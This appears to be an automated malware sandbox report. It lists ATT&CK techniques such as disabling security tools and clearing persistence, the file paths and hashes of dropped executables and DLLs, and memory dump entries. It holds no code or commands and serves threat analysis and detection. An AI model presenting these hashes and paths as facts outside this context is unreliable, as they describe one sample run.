T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\1y9jlb\XPSPLOG.dll
Size 4.6MB
SHA256 a79f76159eacc651453c99f3e33d1ba2af7b58a1a9fea47e839b24329f9fa57f
MD5 f4073845e6e899c3488fcbed4bc0e79f
SHA1 5ba42d2ea0abdea993512af7d1ec5f1ae4c12906
SHA512 cca6a2a188263466dc3fbac6b5d7ff1e90160e9c2bda8749d04c2a1365a52efabceccbbbd05c035c4a8d6ebde87de9f6e0dc8d43f9fff04fa23e432410f25136
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyQ:BMWKfU+BcUTHCCCfqCiUffnQ
TLSH
T17A263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\1y9jlb\image.png
Size 4.8MB
SHA256 902f52a0b08ff042709a2d4ae480851c7fb5ec0318ec461bb6e6709618c9f376
MD5 e8aac67505b2ea1e1a6e241a56b9e773
SHA1 c4e39cc0b7c0a025d19c9ac3b7fb5f3c6243574f
SHA512 6ed9f557a24736acf841f91da10a9dea78d23c33cff9b58af3355403e67985357723973116d0dc7ecfaff952e93bf2805ada8a9e924009af7571fea04f9cd919
SSDEEP 98304:M/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:MMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T1AB36334FE6EFBED9C39CF7EA71098A30D63A8FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lYbiL7.exe

Path C:\Program Files (x86)\1y9jlb\lYbiL7.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\1y9jlb\thumbs.db
Size 358KB
SHA256 7cdaeb76205f3b11e08b6408e19dc6d5965aa75c22464c4894ac06c827b02260
MD5 a346de58a5bc332c369e95cb398f51dd
SHA1 5355ff007d745d38cecd25b7bf8099ded831e890
SHA512 3f93a7c05bec5e0573392e44a36a2fc5c39e3bb4c71b90e35b898437556a4df94d346b07bf2a8b7b60fb856c538e9246c9ed19ccd481b86a8ea01fc88c4c369b
SSDEEP 6144:xiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:A8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T1A474F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\l4z56M5\XPSPLOG.dll
Size 4.6MB
SHA256 810344a48652080cf1d3dcd6a3f3eebc1117eb2e9f586461e308a334f8a089f9
MD5 87233049440c92186c8c3d87f36259c4
SHA1 1a03f365b1c3d7b17a73fbd2b5fda473d04445fa
SHA512 362c9cb037881b3e5acb56a162a3f15462f123f8f2e3329dd0b2de318a0cf2798a0c90055bfabbe3f108549af824afce535678a85b6494bc799a3c1b256b18ff
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyG:BMWKfU+BcUTHCCCfqCiUffnG
TLSH
T1A9263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\l4z56M5\image.png
Size 3.4MB
SHA256 efe51361247ba1b127f0fd9d8d94706f0370b15600e605714bd921334dc93437
MD5 5911055cc40fd94897fc1ca7ebb560d5
SHA1 fc6827d4b63e5bcc2ab337ff7705e0e80f90d1cd
SHA512 cfa91223d9309d1406373ab5d07f7d241fdb5fff3dd5c981d5b19ff797cfdcb503d6dd0e3e6a9e9a1f70d6be901ef2441b23a2e92d93855511cbcc604a0aac23
SSDEEP 98304:5/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqn5:5MpJ0kVNLAU4xWWDI3ieO+n5
TLSH
T10FF5334FEAEFBAEDC3D077AC621DDA7057798AA505523869E073AF10A32CB073657014
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 8be574b189a40cd482cc5eb65c71645f10a410148a8addf08de435d196276a76
MD5 97de2a09228dab58e546f1e76d0b1e2b
SHA1 acf102b8c99be254a8c0c3094e1c7ad549c73a3b
SHA512 fb7fa82a0226243ee2bed8b03a697906c099df05ef4ed52f38f4c0b9501ff34e3c1548f116a42f8819e4e5fea27e2ed7ae5e67e502e825b6d41c5d463fc1ecb0
TLSH
T1B431EBBB6F2DBE424F3D8E9016C9F1226CF5D1806EC7409E6115C8A95F043722F5E90C
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 140ddad6346ab9e2215d6852a87a1674567d4881fab6f2e5c3507fb9cfc7f18c
MD5 16b768681a89a0a2da1365ff7d2f3d0a
SHA1 6e995c36f45c228538e70da8c8476a724c3bd328
SHA512 c1e1f4a2edc2e35fd119e93e517d7a89388440e5af067dbca3ac6a19c87a86976ea80b94051aa7a04cee50cc46c680a383858b0869b72a11e3e6bd5d5dfd6865
TLSH
T1F031F8A39E795053EB0C2FA966D1C6373CF0B674ADE44845763EC2AF8605B77AF85008
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 faa394564ab048febff64e69b13ee92cb2831b5e455abb604b38d5b5b5194887
MD5 7a5891587e87d0a9276aa7665c2b869a
SHA1 fc5fee1d2e252465c1127a056deb3601b9e02e06
SHA512 8392f01889dcb6574d222f90ee9b333b6a2572196d37be4f8003971641902e847da41086b1e67e6781808f13d99ed5c3e3ea92dadfc6a1111d0d943cffe9f621
TLSH
T18AF0271859BC412EF132DA3D86D97A9A0E7BF717140289A40AA847096206D813C126B5
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 590562782411245326a1512604d50fc02ae4178cdb1bd3569c3d327f4bafeb04
MD5 94da76affd0c2fc5bbfe2c06b5dcc85e
SHA1 e970be7adcaeed1d25f5a5b8c9a52fdce1682a10
SHA512 6acfd308eacf80a4f0961e0ee1e698ef855a9c914e971f2c5e5d0c767ff845abb04ebe575769a98a2d8c45fd4088b649a36b420d0d25e67ed0bc66f213bf2ffc
TLSH
T11BF05C2D56EE001BF17BC1B8CBC2BD725F66EA632006637A0DE907445A92C416C812A9
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_5ww4zhwb.znf.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5ww4zhwb.znf.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

UxEnhance64.dll

Path C:\Users\Public\ReWoJ3\UxEnhance64.dll
Size 3.1MB
SHA256 8f240e4e144d0bb1060788ede3343af213e0c4713783b2f06e7970923d8e0c26
MD5 40a63125d222f37ae52a39d871831232
SHA1 c5b1ac709fadf86ac301cc61c4c27694b2701982
SHA512 0996836ee3739ceccfbea8486aa1504fe181a950325121d77758401d2f8599780c827af936b3abd3f0961b4713887053fb2b56d81011647afcc721bd5cd5a156
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+Z:P9m29xx3Tiqt06ox6+z2rNNrKoZ
TLSH
T1BBE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\ReWoJ3\adoresd.dat
Size 4.8MB
SHA256 1fad223577bc272d9abd4424004747d92f05d087724eca563d64f213038fab6b
MD5 f027357638f11543364715599df22e11
SHA1 03695411ee648d672359a8961a04de5f88de1774
SHA512 7f9decdb279e01727284c7cef275d3bdf3e6746844e8c3b7b0954db92a40927c741a62f40d2851d1ad59de2c2b27ff1ee6871993f262e8a44c98edaac9270864
SSDEEP 98304:LWjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:LWj3WRdRQH5fimPGmNc7dBtYOc
TLSH
T10B3633AB2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\ReWoJ3\msadox.tb
Size 8KB
SHA256 b5239c9972a2eb105f0140b1de9a51b543c7399daf9afeaa3e1302a4f82b2b9d
MD5 cde72b24cb88d60e8016738c7c12b01e
SHA1 faaa77ab458364c4414d18a64c83593af854b58d
SHA512 741e65897ff187c43da4e835f50352acc38b5ed35ab9adc315516885ba78ab13936a7edd84ec08f7f35cf7c06daedf3392b625f43d405ad9820b225e27b591dc
SSDEEP 192:5qbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:5sZqZOXQ3uqvR2Kfzp
TLSH
T19E029E05D7B20CC3D2016C71CD9EB2F5AB23A1DADA3926719C67D4C167072DD2CE624D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nelvaP.exe

Path C:\Users\Public\ReWoJ3\nelvaP.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xxxx.ini

Path \??\c:\xxxx.ini
Size 2B
SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
MD5 81051bcc2cf1bedf378224b0a93e2877
SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
MD5 SHA1 SHA512

Submit Download

memory/828-560-0x0000023673520000-0x00000236735AA000-memory.dmp

Download

memory/828-566-0x0000023672760000-0x0000023673037000-memory.dmp

Download

memory/828-550-0x0000023672760000-0x0000023673037000-memory.dmp

Download

memory/828-558-0x0000023673440000-0x000002367348E000-memory.dmp

Download

memory/828-559-0x0000023673520000-0x00000236735AA000-memory.dmp

Download

memory/828-562-0x0000023673520000-0x00000236735AA000-memory.dmp

Download

memory/828-561-0x0000023673520000-0x00000236735AA000-memory.dmp

Download

memory/828-546-0x0000023672760000-0x0000023673037000-memory.dmp

Download

memory/828-556-0x0000023672760000-0x0000023673037000-memory.dmp

Download

memory/828-530-0x00007FFB20850000-0x00007FFB20852000-memory.dmp

Download

memory/828-567-0x0000023672760000-0x0000023673037000-memory.dmp

Download

memory/828-544-0x0000023672760000-0x0000023673037000-memory.dmp

Download

memory/828-538-0x00007FFB20860000-0x00007FFB20862000-memory.dmp

Download

memory/828-543-0x0000023672760000-0x0000023673037000-memory.dmp

Download

memory/828-539-0x0000023672760000-0x0000023673037000-memory.dmp

Download

memory/828-536-0x0000023672760000-0x0000023673037000-memory.dmp

Download

memory/828-531-0x00007FFAFDC30000-0x00007FFAFE14E000-memory.dmp

Download

memory/828-545-0x0000023672760000-0x0000023673037000-memory.dmp

Download

memory/1372-735-0x00000000013C0000-0x00000000013C1000-memory.dmp

Download

memory/1372-736-0x0000000074A20000-0x000000007516A000-memory.dmp

Download

memory/1372-743-0x0000000003B30000-0x000000000430D000-memory.dmp

Download

memory/2056-606-0x0000017A30380000-0x0000017A3038A000-memory.dmp

Download

memory/2056-599-0x0000017A303A0000-0x0000017A303C2000-memory.dmp

Download

memory/2056-604-0x0000017A48930000-0x0000017A4894E000-memory.dmp

Download

memory/2056-605-0x0000017A48950000-0x0000017A48A02000-memory.dmp

Download

memory/2904-739-0x0000000000F20000-0x0000000000F21000-memory.dmp

Download

memory/2904-740-0x0000000074A20000-0x000000007516A000-memory.dmp

Download

memory/4372-525-0x00007FFB12AB0000-0x00007FFB12AC2000-memory.dmp

Download

memory/4372-524-0x0000000002620000-0x000000000262E000-memory.dmp

Download

memory/4372-504-0x00007FFB12AB0000-0x00007FFB12AC2000-memory.dmp

Download

memory/4372-2-0x0000000002630000-0x000000000263C000-memory.dmp

Download

memory/4372-0-0x0000000002620000-0x000000000262E000-memory.dmp

Download

memory/4372-1-0x0000000002620000-0x000000000262E000-memory.dmp

Download

memory/5244-682-0x0000000003D40000-0x000000000451D000-memory.dmp

Download

memory/5244-716-0x0000000003D40000-0x000000000451D000-memory.dmp

Download

memory/5244-681-0x0000000001970000-0x0000000001971000-memory.dmp

Download

memory/5244-676-0x0000000074A20000-0x000000007516A000-memory.dmp

Download

memory/5244-674-0x0000000001940000-0x0000000001941000-memory.dmp

Download

memory/5244-686-0x0000000003D40000-0x000000000451D000-memory.dmp

Download

memory/5244-693-0x00000000019C0000-0x00000000019D4000-memory.dmp

Download

memory/5244-728-0x0000000003D40000-0x000000000451D000-memory.dmp

Download

memory/5244-694-0x0000000003D40000-0x000000000451D000-memory.dmp

Download

memory/5244-705-0x0000000010000000-0x0000000010061000-memory.dmp

Download

memory/5244-679-0x0000000003D40000-0x000000000451D000-memory.dmp

Download

memory/5424-749-0x0000000001010000-0x0000000001011000-memory.dmp

Download

memory/5424-754-0x0000000003330000-0x0000000003B0D000-memory.dmp

Download

memory/5424-750-0x0000000072DB0000-0x00000000734FA000-memory.dmp

Download

memory/6016-598-0x00007FFB20850000-0x00007FFB20852000-memory.dmp

Download

memory/6016-594-0x000001DD32090000-0x000001DD32967000-memory.dmp

Download

memory/6016-591-0x000001DD32090000-0x000001DD32967000-memory.dmp

Download

memory/6016-589-0x00007FFB20860000-0x00007FFB20862000-memory.dmp

Download

memory/6016-583-0x000001DD32090000-0x000001DD32967000-memory.dmp

Download

memory/6016-597-0x000001DD32090000-0x000001DD32967000-memory.dmp

Download

memory/6016-580-0x00007FFAFDC30000-0x00007FFAFE14E000-memory.dmp

Download

memory/6016-596-0x000001DD32090000-0x000001DD32967000-memory.dmp

Download

memory/6016-595-0x000001DD32090000-0x000001DD32967000-memory.dmp

Download